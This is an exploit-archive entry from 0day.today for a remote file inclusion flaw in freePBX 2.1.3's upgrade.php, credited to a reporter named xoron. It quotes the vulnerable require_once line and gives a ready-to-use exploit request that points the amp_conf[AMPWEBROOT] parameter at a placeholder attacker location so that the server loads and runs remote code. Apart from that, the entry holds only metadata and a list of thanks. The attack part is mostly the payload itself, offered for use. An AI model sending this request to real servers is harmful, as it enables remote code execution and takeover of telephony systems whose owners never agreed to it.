freePBX 2.1.3 (upgrade.php) Remote File Include Vulnerability

2006-10-28T00:00:00
ID 1337DAY-ID-1076
Type zdt
Reporter xoron
Modified 2006-10-28T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            =============================================================
freePBX 2.1.3 (upgrade.php) Remote File Include Vulnerability
=============================================================



Script: freePBX
Version: v2.1.3
Code: require_once($amp_conf["AMPWEBROOT"] . "/admin/functions.inc.php");
Exploit: upgrades/2.1beta1/upgrade.php?amp_conf[AMPWEBROOT]=evilscripts?
Found: Cyber-Security
Thanks: DJR, xoron, [email protected], trampfd, Konaksinamon, KripteX, sakkure, Seyfullah, MaSSiMo, Kano, whiteguide



#  0day.today [2018-03-05]  #